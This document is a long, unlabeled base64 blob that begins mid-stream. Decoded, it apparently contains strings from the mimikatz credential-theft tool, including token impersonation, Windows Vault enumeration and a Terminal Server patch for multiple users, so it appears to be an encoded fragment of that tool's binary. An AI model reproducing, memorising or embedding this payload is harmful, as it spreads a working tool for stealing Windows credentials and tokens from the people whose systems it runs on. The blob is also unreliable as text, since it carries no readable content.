FjQUJwQUc0QVp3QUFBQUFBQUFBQUFGTUFkUUJ6QUhBQVpRQnVBR1FBYVFCdUFHY0FBQUFBQUZJQVpRQnpBSFVBYlFCcEFHNEFad0FBQUFBQUFBQUFBRkFBY2dCbEFITUFhQUIxQUhRQVpBQnZBSGNBYmdBQUFGTUFhQUIxQUhRQVpBQnZBSGNBYmdBQUFBQUFBQUFBQUhNQVpRQnlBSFlBYVFCakFHVUFjd0F1QUdVQWVBQmxBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBY3dCbEFISUFkZ0JwQUdNQVpRQmZBSE1BWlFCdUFHUUFZd0J2QUc0QWRBQnlBRzhBYkFCZkFHa0FiZ0J3QUhJQWJ3QmpBR1VBY3dCekFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFiUUJsQUcwQWJ3QnlBSGtBWHdCekFHVUFZUUJ5QUdNQWFBQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBQUFHVUFjZ0J5QUc4QWNnQWdBQ1VBZFFBS0FBQUFBQUFBQUU4QVN3QWhBQW9BQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWN3QmxBSElBZGdCcEFHTUFaUUJmQUhNQVpRQnVBR1FBWXdCdkFHNEFkQUJ5QUc4QWJBQmZBR2tBYmdCd0FISUFid0JqQUdVQWN3QnpBQ0FBT3dBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBY2dCbEFHMEFid0IwQUdVQWJBQnBBR0lBWHdCakFISUFaUUJoQUhRQVpRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUhNQVpRQnlBSFlBYVFCakFHVUFYd0J6QUdVQWJnQmtBR01BYndCdUFIUUFjZ0J2QUd3QVh3QnBBRzRBY0FCeUFHOEFZd0JsQUhNQWN3QWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBSElBWlFCdEFHOEFkQUJsQUd3QWFRQmlBRjhBUXdCeUFHVUFZUUIwQUdVQVVnQmxBRzBBYndCMEFHVUFRd0J2QUdRQVpRQlhBR2tBZEFCMEFHZ0FVQUJoQUhRQWRBQmxBSElBYmdCU0FHVUFjQUJzQUdFQVl3QmxBQW9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCekFHVUFjZ0IyQUdrQVl3QmxBRjhBY3dCbEFHNEFaQUJqQUc4QWJnQjBBSElBYndCc0FGOEFhUUJ1QUhBQWNnQnZBR01BWlFCekFITUFJQUE3QUNBQVRnQnZBSFFBSUFCaEFIWUFZUUJwQUd3QVlRQmlBR3dBWlFBZ0FIY0FhUUIwQUdnQWJ3QjFBSFFBSUFCVEFHTUFVd0JsQUc0QVpBQkRBRzhBYmdCMEFISUFid0JzQUFvQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBY3dCbEFISUFkZ0JwQUdNQVpRQmZBSE1BWlFCdUFHUUFZd0J2QUc0QWRBQnlBRzhBYkFCZkFHa0FiZ0J3QUhJQWJ3QmpBR1VBY3dCekFDQUFPd0FnQUU4QWNBQmxBRzRBVUFCeUFHOEFZd0JsQUhNQWN3QWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBQUFBQUFaUUI0QUdrQWRBQUFBQUFBQUFBQUFGRUFkUUJwQUhRQUlBQnRBR2tBYlFCcEFHc0FZUUIwQUhvQUFBQUFBQUFBWXdCc0FITUFBQUJEQUd3QVpRQmhBSElBSUFCekFHTUFjZ0JsQUdVQWJnQWdBQ2dBWkFCdkFHVUFjd0J1QUNjQWRBQWdBSGNBYndCeUFHc0FJQUIzQUdrQWRBQm9BQ0FBY2dCbEFHUUFhUUJ5QUdVQVl3QjBBR2tBYndCdUFITUFMQUFnQUd3QWFRQnJBR1VBSUFCUUFITUFSUUI0QUdVQVl3QXBBQUFBQUFCaEFHNEFjd0IzQUdVQWNnQUFBQUFBQUFBQUFBQUFBQUJCQUc0QWN3QjNBR1VBY2dBZ0FIUUFid0FnQUhRQWFBQmxBQ0FBVlFCc0FIUUFhUUJ0QUdFQWRBQmxBQ0FBVVFCMUFHVUFjd0IwQUdrQWJ3QnVBQ0FBYndCbUFDQUFUQUJwQUdZQVpRQXNBQ0FBZEFCb0FHVUFJQUJWQUc0QWFRQjJBR1VBY2dCekFHVUFMQUFnQUdFQWJnQmtBQ0FBUlFCMkFHVUFjZ0I1QUhRQWFBQnBBRzRBWndBQUFBQUFBQUJqQUc4QVpnQm1BR1VBWlFBQUFBQUFVQUJzQUdVQVlRQnpBR1VBTEFBZ0FHMEFZUUJyQUdVQUlBQnRBR1VBSUFCaEFDQUFZd0J2QUdZQVpnQmxBR1VBSVFBQUFBQUFBQUJ6QUd3QVpRQmxBSEFBQUFBQUFBQUFBQUFBQUFBQUFBQlRBR3dBWlFCbEFIQUFJQUJoQUc0QUlBQmhBRzBBYndCMUFHNEFkQUFnQUc4QVpnQWdBRzBBYVFCc0FHd0FhUUJ6QUdVQVl3QnZBRzRBWkFCekFBQUFUQUJ2QUdjQUlBQnRBR2tBYlFCcEFHc0FZUUIwQUhvQUlBQnBBRzRBY0FCMUFIUUFMd0J2QUhVQWRBQndBSFVBZEFBZ0FIUUFid0FnQUdZQWFRQnNBR1VBQUFBQUFBQUFZZ0JoQUhNQVpRQTJBRFFBQUFBQUFBQUFBQUFBQUFBQVV3QjNBR2tBZEFCakFHZ0FJQUJtQUdrQWJBQmxBQ0FBYndCMUFIUUFjQUIxQUhRQUx3QmlBR0VBY3dCbEFEWUFOQUFnQUc4QWRRQjBBSEFBZFFCMEFBQUFBQUFBQUFBQWRnQmxBSElBY3dCcEFHOEFiZ0FBQUFBQUFBQUFBQUFBUkFCcEFITUFjQUJzQUdFQWVRQWdBSE1BYndCdEFHVUFJQUIyQUdVQWNnQnpBR2tBYndCdUFDQUFhUUJ1QUdZQWJ3QnlBRzBBWVFCMEFHa0Fid0J1QUhNQUFBQmpBR1FBQUFBQUFBQUFBQUJEQUdnQVlRQnVBR2NBWlFBZ0FHOEFjZ0FnQUdRQWFRQnpBSEFBYkFCaEFIa0FJQUJqQUhVQWNnQnlBR1VBYmdCMEFDQUFaQUJwQUhJQVpRQmpBSFFBYndCeUFIa0FBQUJ0QUdFQWNnQnJBSElBZFFCekFITUFBQUFBQUFBQUFBQk5BR0VBY2dCckFDQUFZUUJpQUc4QWRRQjBBQ0FBVUFCMEFFZ0FBQUFBQUhNQWRBQmhBRzRBWkFCaEFISUFaQUFBQUFBQUFBQUFBRk1BZEFCaEFHNEFaQUJoQUhJQVpBQWdBRzBBYndCa0FIVUFiQUJsQUFBQUFBQUFBQUFBQUFCQ0FHRUFjd0JwQUdNQUlBQmpBRzhBYlFCdEFHRUFiZ0JrQUhNQUlBQW9BR1FBYndCbEFITUFJQUJ1QUc4QWRBQWdBSElBWlFCeEFIVUFhUUJ5QUdVQUlBQnRBRzhBWkFCMUFHd0FaUUFnQUc0QVlRQnRBR1VBS1FBQUFBQUFBQUJDQUhrQVpRQWhBQW9BQUFBQUFBQUFOQUF5QUM0QUNnQUFBQUFBQUFBQUFBb0FJQUFnQUNBQUlBQW9BQ0FBS0FBS0FDQUFJQUFnQUNBQUlBQXBBQ0FBS1FBS0FDQUFJQUF1QUY4QVh3QmZBRjhBWHdCZkFDNEFDZ0FnQUNBQWZBQWdBQ0FBSUFBZ0FDQUFJQUI4QUYwQUNnQWdBQ0FBWEFBZ0FDQUFJQUFnQUNBQUlBQXZBQW9BSUFBZ0FDQUFZQUF0QUMwQUxRQXRBQ2NBQ2dBQUFBQUFVd0JzQUdVQVpRQndBQ0FBT2dBZ0FDVUFkUUFnQUcwQWN3QXVBQzRBTGdBZ0FBQUFBQUFBQUVVQWJnQmtBQ0FBSVFBS0FBQUFBQUJ0QUdrQWJRQnBBR3NBWVFCMEFIb0FMZ0JzQUc4QVp3QUFBQUFBQUFBQUFGVUFjd0JwQUc0QVp3QWdBQ2NBSlFCekFDY0FJQUJtQUc4QWNnQWdBR3dBYndCbkFHWUFhUUJzQUdVQUlBQTZBQ0FBSlFCekFBb0FBQUFBQUFBQUFBQjBBSElBZFFCbEFBQUFBQUFBQUFBQVpnQmhBR3dBY3dCbEFBQUFBQUFBQUdrQWN3QkNBR0VBY3dCbEFEWUFOQUJKQUc0QWRBQmxBSElBWXdCbEFIQUFkQUFnQUhjQVlRQnpBQ0FBSUFBZ0FDQUFPZ0FnQUNVQWN3QUtBQUFBQUFCcEFITUFRZ0JoQUhNQVpRQTJBRFFBU1FCdUFIUUFaUUJ5QUdNQVpRQndBSFFBSUFCcEFITUFJQUJ1QUc4QWR3QWdBRG9BSUFBbEFITUFDZ0FBQUFBQU5nQTBBQUFBQUFBS0FHMEFhUUJ0QUdrQWF3QmhBSFFBZWdBZ0FESUFMZ0F3QUNBQVlRQnNBSEFBYUFCaEFDQUFLQUJoQUhJQVl3Qm9BQ0FBZUFBMkFEUUFLUUFLQUZjQWFRQnVBR1FBYndCM0FITUFJQUJPQUZRQUlBQWxBSFVBTGdBbEFIVUFJQUJpQUhVQWFRQnNBR1FBSUFBbEFIVUFJQUFvQUdFQWNnQmpBR2dBSUFCNEFDVUFjd0FwQUFvQWJRQnpBSFlBWXdBZ0FDVUFkUUFnQUNVQWRRQUtBQUFBUXdCMUFISUFPZ0FnQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFjd0IwQUdFQWJnQmtBR0VBY2dCa0FGOEFZd0JrQUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QVpnQnBBR3dBWlFCZkFHY0FaUUIwQUVNQWRRQnlBSElBWlFCdUFIUUFSQUJwQUhJQVpRQmpBSFFBYndCeUFIa0FJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQUFBQUFBRTRBWlFCM0FEb0FJQUFsQUhNQUNnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCekFIUUFZUUJ1QUdRQVlRQnlBR1FBWHdCakFHUUFJQUE3QUNBQVV3QmxBSFFBUXdCMUFISUFjZ0JsQUc0QWRBQkVBR2tBY2dCbEFHTUFkQUJ2QUhJQWVRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBQUFBQUFVd0J2QUhJQWNnQjVBQ0FBZVFCdkFIVUFJQUJuQUhVQWVRQnpBQ0FBWkFCdkFHNEFKd0IwQUNBQVp3QmxBSFFBSUFCcEFIUUFMZ0FLQUFBQUFBQUFBSGNBYUFCdkFHRUFiUUJwQUFBQUFBQkVBR2tBY3dCd0FHd0FZUUI1QUNBQVl3QjFBSElBY2dCbEFHNEFkQUFnQUdrQVpBQmxBRzRBZEFCcEFIUUFlUUFBQUFBQUFBQUFBRXdBYVFCekFIUUFJQUJoQUd3QWJBQWdBSFFBYndCckFHVUFiZ0J6QUNBQWJ3Qm1BQ0FBZEFCb0FHVUFJQUJ6QUhrQWN3QjBBR1VBYlFBQUFBQUFBQUJsQUd3QVpRQjJBR0VBZEFCbEFBQUFTUUJ0QUhBQVpRQnlBSE1BYndCdUFHRUFkQUJsQUNBQVlRQWdBSFFBYndCckFHVUFiZ0FBQUhJQVpRQjJBR1VBY2dCMEFBQUFBQUJTQUdVQWRnQmxBSElBZEFBZ0FIUUFid0FnQUhBQWNnQnZBR01BWlFCekFDQUFkQUJ2QUdzQVpRQnVBQUFBQUFCMEFHOEFhd0JsQUc0QUFBQUFBQUFBVkFCdkFHc0FaUUJ1QUNBQWJRQmhBRzRBYVFCd0FIVUFiQUJoQUhRQWFRQnZBRzRBSUFCdEFHOEFaQUIxQUd3QVpRQUFBQUFBQUFBZ0FDb0FJQUJRQUhJQWJ3QmpBR1VBY3dCekFDQUFWQUJ2QUdzQVpRQnVBQ0FBT2dBZ0FBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFIUUFid0JyQUdVQWJnQmZBSGNBYUFCdkFHRUFiUUJwQUNBQU93QWdBRThBY0FCbEFHNEFVQUJ5QUc4QVl3QmxBSE1BY3dCVUFHOEFhd0JsQUc0QUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBSUFBcUFDQUFWQUJvQUhJQVpRQmhBR1FBSUFCVUFHOEFhd0JsQUc0QUlBQWdBRG9BSUFBQUFHNEFid0FnQUhRQWJ3QnJBR1VBYmdBS0FBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBZEFCdkFHc0FaUUJ1QUY4QWR3Qm9BRzhBWVFCdEFHa0FJQUE3QUNBQVR3QndBR1VBYmdCVUFHZ0FjZ0JsQUdFQVpBQlVBRzhBYXdCbEFHNEFJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQUFBQmtBRzhBYlFCaEFHa0FiZ0JoQUdRQWJRQnBBRzRBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBZEFCdkFHc0FaUUJ1QUY4QWJBQnBBSE1BZEFCZkFHOEFjZ0JmQUdVQWJBQmxBSFlBWVFCMEFHVUFJQUE3QUNBQWF3QjFBR3dBYkFCZkFHMEFYd0JzQUc4QVl3QmhBR3dBWHdCa0FHOEFiUUJoQUdrQWJnQmZBSFVBY3dCbEFISUFYd0JuQUdVQWRBQkRBSFVBY2dCeUFHVUFiZ0IwQUVRQWJ3QnRBR0VBYVFCdUFGTUFTUUJFQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWRBQnZBR3NBWlFCdUFGOEFiQUJwQUhNQWRBQmZBRzhBY2dCZkFHVUFiQUJsQUhZQVlRQjBBR1VBSUFBN0FDQUFUZ0J2QUNBQWRRQnpBR1VBY2dCdUFHRUFiUUJsQUNBQVlRQjJBR0VBYVFCc0FHRUFZZ0JzQUdVQUlBQjNBR2dBWlFCdUFDQUFVd0JaQUZNQVZBQkZBRTBBQ2dBQUFGUUFid0JyQUdVQWJnQWdBRWtBWkFBZ0FDQUFPZ0FnQUNVQWRRQUtBRlVBY3dCbEFISUFJQUJ1QUdFQWJRQmxBQ0FBT2dBZ0FDVUFjd0FLQUZNQVNRQkVBQ0FBYmdCaEFHMEFaUUFnQUNBQU9nQWdBQUFBQUFBbEFITUFYQUFsQUhNQUNnQUFBQUFBQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBSFFBYndCckFHVUFiZ0JmQUd3QWFRQnpBSFFBWHdCdkFISUFYd0JsQUd3QVpRQjJBR0VBZEFCbEFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFkQUJ2QUdzQVpRQnVBRjhBWndCbEFIUUFUZ0JoQUcwQVpRQkVBRzhBYlFCaEFHa0FiZ0JHQUhJQWJ3QnRBRk1BU1FCRUFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWRBQnZBR3NBWlFCdUFGOEFiQUJwQUhNQWRBQmZBRzhBY2dCZkFHVUFiQUJsQUhZQVlRQjBBR1VBSUFBN0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCc0FHOEFZd0JoQUd3QVh3QmtBRzhBYlFCaEFHa0FiZ0JmQUhVQWN3QmxBSElBWHdCREFISUFaUUJoQUhRQVpRQlhBR1VBYkFCc0FFc0FiZ0J2QUhjQWJnQlRBR2tBWkFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFkQUJ2QUdzQVpRQnVBRjhBY2dCbEFIWUFaUUJ5QUhRQUlBQTdBQ0FBVXdCbEFIUUFWQUJvQUhJQVpRQmhBR1FBVkFCdkFHc0FaUUJ1QUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQUFCQkFHNEFid0J1QUhrQWJRQnZBSFVBY3dBQUFBQUFBQUJKQUdRQVpRQnVBSFFBYVFCbUFHa0FZd0JoQUhRQWFRQnZBRzRBQUFBQUFFa0FiUUJ3QUdVQWNnQnpBRzhBYmdCaEFIUUFhUUJ2QUc0QUFBQUFBQUFBUkFCbEFHd0FaUUJuQUdFQWRBQnBBRzhBYmdBQUFBQUFWUUJ1QUdzQWJnQnZBSGNBYmdBQUFDVUFMUUF4QURBQWRRQUpBQUFBQUFBbEFITUFYQUFsQUhNQUNRQWxBSE1BQUFBQUFBQUFBQUFKQUNnQUpRQXdBRElBZFFCbkFDd0FKUUF3QURJQWRRQndBQ2tBQ1FBbEFITUFBQUFBQUFBQUlBQW9BQ1VBY3dBcEFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBZEFCdkFHc0FaUUJ1QUY4QWJBQnBBSE1BZEFCZkFHOEFjZ0JmQUdVQWJBQmxBSFlBWVFCMEFHVUFYd0JqQUdFQWJBQnNBR0lBWVFCakFHc0FJQUE3QUNBQVF3Qm9BR1VBWXdCckFGUUFid0JyQUdVQWJnQk5BR1VBYlFCaUFHVUFjZ0J6QUdnQWFRQndBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBQUFBQUFBQUFsQUhVQUNRQUFBQ0FBTFFBK0FDQUFTUUJ0QUhBQVpRQnlBSE1BYndCdUFHRUFkQUJsQUdRQUlBQWhBQW9BQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUhRQWJ3QnJBR1VBYmdCZkFHd0FhUUJ6QUhRQVh3QnZBSElBWHdCbEFHd0FaUUIyQUdFQWRBQmxBRjhBWXdCaEFHd0FiQUJpQUdFQVl3QnJBQ0FBT3dBZ0FGTUFaUUIwQUZRQWFBQnlBR1VBWVFCa0FGUUFid0JyQUdVQWJnQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFCdEFIVUFiQUIwQUdrQWNnQmtBSEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRnNBWlFCNEFIQUFaUUJ5QUdrQWJRQmxBRzRBZEFCaEFHd0FYUUFnQUhBQVlRQjBBR01BYUFBZ0FGUUFaUUJ5QUcwQWFRQnVBR0VBYkFBZ0FGTUFaUUJ5QUhZQVpRQnlBQ0FBY3dCbEFISUFkZ0JwQUdNQVpRQWdBSFFBYndBZ0FHRUFiQUJzQUc4QWR3QWdBRzBBZFFCc0FIUUFhUUJ3QUd3QVpRQnpBQ0FBZFFCekFHVUFjZ0J6QUFBQWRBQnpBQUFBQUFBQUFBQUFWQUJsQUhJQWJRQnBBRzRBWVFCc0FDQUFVd0JsQUhJQWRnQmxBSElBSUFCdEFHOEFaQUIxQUd3QVpRQUFBQUFBZEFCbEFISUFiUUJ6QUhJQWRnQXVBR1FBYkFCc0FBQUFWQUJsQUhJQWJRQlRBR1VBY2dCMkFHa0FZd0JsQUFBQUFBQUFBQUFBQUFCWEFHa0FiZ0JrQUc4QWR3QnpBQ0FBVmdCaEFIVUFiQUIwQUM4QVF3QnlBR1VBWkFCbEFHNEFkQUJwQUdFQWJBQWdBRzBBYndCa0FIVUFiQUJsQUFBQWRnQmhBSFVBYkFCMEFHTUFiQUJwQUFBQUFBQUFBQUFBVm1GMWJIUkZiblZ0WlhKaGRHVkpkR1Z0Vkhsd1pYTUFWbUYxYkhSRmJuVnRaWEpoZEdWV1lYVnNkSE1BQUFBQVZtRjFiSFJQY0dWdVZtRjFiSFFBQUZaaGRXeDBSMlYwU1c1bWIzSnRZWFJwYjI0QUFBQUFBRlpoZFd4MFJXNTFiV1Z5WVhSbFNYUmxiWE1BQUFBQUFGWmhkV3gwUTJ4dmMyVldZWFZzZEFCV1lYVnNkRVp5WldVQUFBQUFBQUFBVm1GMWJIUkhaWFJKZEdWdEFBQUFBRVFBYndCdEFHRUFhUUJ1QUNBQVVBQmhBSE1BY3dCM0FHOEFjZ0JrQUFBQVJBQnZBRzBBWVFCcEFHNEFJQUJEQUdVQWNnQjBBR2tBWmdCcEFHTUFZUUIwQUdVQUFBQUFBRVFBYndCdEFHRUFhUUJ1QUNBQVJRQjRBSFFBWlFCdUFHUUFaUUJrQUFBQVVBQnBBRzRBSUFCTUFHOEFad0J2QUc0QUFBQUFBQUFBVUFCcEFHTUFkQUIxQUhJQVpRQWdBRkFBWVFCekFITUFkd0J2QUhJQVpBQUFBQUFBQUFBQUFFSUFhUUJ2QUcwQVpRQjBBSElBYVFCakFBQUFBQUFBQUU0QVpRQjRBSFFBSUFCSEFHVUFiZ0JsQUhJQVlRQjBBR2tBYndCdUFDQUFRd0J5QUdVQVpBQmxBRzRBZEFCcEFHRUFiQUFBQUFBQUNnQldBR0VBZFFCc0FIUUFJQUE2QUNBQUFBQUFBQUFBQ1FCSkFIUUFaUUJ0QUhNQUlBQW9BQ1VBZFFBcEFBb0FBQUFBQUFBQUFBQUpBQ0FBSlFBeUFIVUFMZ0FKQUNVQWN3QUtBQUFBQUFBSkFBa0FWQUI1QUhBQVpRQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFBQUFBQUFBQUFBQUpBQWtBVEFCaEFITUFkQUJYQUhJQWFRQjBBSFFBWlFCdUFDQUFJQUFnQUNBQUlBQTZBQ0FBQUFBQUFBQUFBQUFKQUFrQVJnQnNBR0VBWndCekFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQXdBRGdBZUFBS0FBQUFBQUFBQUFrQUNRQlNBR1VBY3dCekFHOEFkUUJ5QUdNQVpRQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQUFBQUFBQUFBQUFBa0FDUUJKQUdRQVpRQnVBSFFBYVFCMEFIa0FJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFBQUFBQUFBQUFBQWtBQ1FCQkFIVUFkQUJvQUdVQWJnQjBBR2tBWXdCaEFIUUFid0J5QUNBQUlBQWdBRG9BSUFBQUFBQUFBQUFBQUFrQUNRQlFBSElBYndCd0FHVUFjZ0IwQUhrQUlBQWxBRElBZFFBZ0FDQUFJQUFnQUNBQU9nQWdBQUFBQUFBQUFBa0FDUUFxQUVFQWRRQjBBR2dBWlFCdUFIUUFhUUJqQUdFQWRBQnZBSElBS2dBZ0FEb0FJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QjJBR0VBZFFCc0FIUUFYd0JzQUdrQWN3QjBBQ0FBT3dBZ0FGWUFZUUIxQUd3QWRBQkhBR1VBZEFCSkFIUUFaUUJ0QURjQUlBQTZBQ0FBSlFBd0FEZ0FlQUFBQUFBQUNRQUpBRkFBWVFCakFHc0FZUUJuQUdVQVV3QnBBR1FBSUFBZ0FDQUFJQUFnQUNBQU9nQWdBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QjJBR0VBZFFCc0FIUUFYd0JzQUdrQWN3QjBBQ0FBT3dBZ0FGWUFZUUIxQUd3QWRBQkhBR1VBZEFCSkFIUUFaUUJ0QURnQUlBQTZBQ0FBSlFBd0FEZ0FlQUFBQUFBQUNnQUpBQWtBS2dBcUFDb0FJQUFsQUhNQUlBQXFBQ29BS2dBS0FBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBSFlBWVFCMUFHd0FkQUJmQUd3QWFRQnpBSFFBSUFBN0FDQUFWZ0JoQUhVQWJBQjBBRVVBYmdCMUFHMEFaUUJ5QUdFQWRBQmxBRllBWVFCMUFHd0FkQUJ6QUNBQU9nQWdBREFBZUFBbEFEQUFPQUI0QUFvQUFBQUFBQUFBQUFBSkFBa0FWUUJ6QUdVQWNnQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFBQUFBQUFBQUFBQWxBSE1BWEFBbEFITUFBQUFBQUFBQUFBQUFBQUFBQUFCVEFFOEFSZ0JVQUZjQVFRQlNBRVVBWEFCTkFHa0FZd0J5QUc4QWN3QnZBR1lBZEFCY0FGY0FhUUJ1QUdRQWJ3QjNBSE1BWEFCREFIVUFjZ0J5QUdVQWJnQjBBRllBWlFCeUFITUFhUUJ2QUc0QVhBQkJBSFVBZEFCb0FHVUFiZ0IwQUdrQVl3QmhBSFFBYVFCdkFHNEFYQUJNQUc4QVp3QnZBRzRBVlFCSkFGd0FVQUJwQUdNQWRBQjFBSElBWlFCUUFHRUFjd0J6QUhjQWJ3QnlBR1FBQUFBQUFBQUFBQUJpQUdjQVVBQmhBSFFBYUFBQUFBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFIWUFZUUIxQUd3QWRBQmZBR3dBYVFCekFIUUFYd0JrQUdVQWN3QmpBRWtBZEFCbEFHMEFYd0JRQUVrQVRnQk1BRzhBWndCdkFHNEFUd0J5QUZBQWFRQmpBSFFBZFFCeUFHVUFVQUJoQUhNQWN3QjNBRzhBY2dCa0FFOEFjZ0JDQUdrQWJ3QnRBR1VBZEFCeUFHa0FZd0FnQURzQUlBQlNBR1VBWndCUkFIVUFaUUJ5QUhrQVZnQmhBR3dBZFFCbEFFVUFlQUFnQURJQUlBQTZBQ0FBSlFBd0FEZ0FlQUFLQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QjJBR0VBZFFCc0FIUUFYd0JzQUdrQWN3QjBBRjhBWkFCbEFITUFZd0JKQUhRQVpRQnRBRjhBVUFCSkFFNEFUQUJ2QUdjQWJ3QnVBRThBY2dCUUFHa0FZd0IwQUhVQWNnQmxBRkFBWVFCekFITUFkd0J2QUhJQVpBQlBBSElBUWdCcEFHOEFiUUJsQUhRQWNnQnBBR01BSUFBN0FDQUFVZ0JsQUdjQVVRQjFBR1VBY2dCNUFGWUFZUUJzQUhVQVpRQkZBSGdBSUFBeEFDQUFPZ0FnQUNVQU1BQTRBSGdBQ2dBQUFBQUFBQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFkZ0JoQUhVQWJBQjBBRjhBYkFCcEFITUFkQUJmQUdRQVpRQnpBR01BU1FCMEFHVUFiUUJmQUZBQVNRQk9BRXdBYndCbkFHOEFiZ0JQQUhJQVVBQnBBR01BZEFCMUFISUFaUUJRQUdFQWN3QnpBSGNBYndCeUFHUUFUd0J5QUVJQWFRQnZBRzBBWlFCMEFISUFhUUJqQUNBQU93QWdBRklBWlFCbkFFOEFjQUJsQUc0QVN3QmxBSGtBUlFCNEFDQUFVd0JKQUVRQUlBQTZBQ0FBSlFBd0FEZ0FlQUFLQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBSFlBWVFCMUFHd0FkQUJmQUd3QWFRQnpBSFFBWHdCa0FHVUFjd0JqQUVrQWRBQmxBRzBBWHdCUUFFa0FUZ0JNQUc4QVp3QnZBRzRBVHdCeUFGQUFhUUJqQUhRQWRRQnlBR1VBVUFCaEFITUFjd0IzQUc4QWNnQmtBRThBY2dCQ0FHa0Fid0J0QUdVQWRBQnlBR2tBWXdBZ0FEc0FJQUJEQUc4QWJnQjJBR1VBY2dCMEFGTUFhUUJrQUZRQWJ3QlRBSFFBY2dCcEFHNEFad0JUQUdrQVpBQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0IyQUdFQWRRQnNBSFFBWHdCc0FHa0Fjd0IwQUY4QVpBQmxBSE1BWXdCSkFIUUFaUUJ0QUY4QVVBQkpBRTRBVEFCdkFHY0Fid0J1QUU4QWNnQlFBR2tBWXdCMEFIVUFjZ0JsQUZBQVlRQnpBSE1BZHdCdkFISUFaQUJQQUhJQVFnQnBBRzhBYlFCbEFIUUFjZ0JwQUdNQUlBQTdBQ0FBVWdCbEFHY0FUd0J3QUdVQWJnQkxBR1VBZVFCRkFIZ0FJQUJRQUdrQVl3QjBBSFVBY2dCbEFGQUFZUUJ6QUhNQWR3QnZBSElBWkFBZ0FEb0FJQUFsQURBQU9BQjRBQW9BQUFBQUFBQUFBQUFKQUFrQVVBQmhBSE1BY3dCM0FHOEFjZ0JrQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUFBQUFBQUFBQUFBSkFBa0FVQUJKQUU0QUlBQkRBRzhBWkFCbEFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFKUUF3QURRQWFBQjFBQW9BQUFBQUFBa0FDUUJDQUdFQVl3QnJBR2NBY2dCdkFIVUFiZ0JrQUNBQWN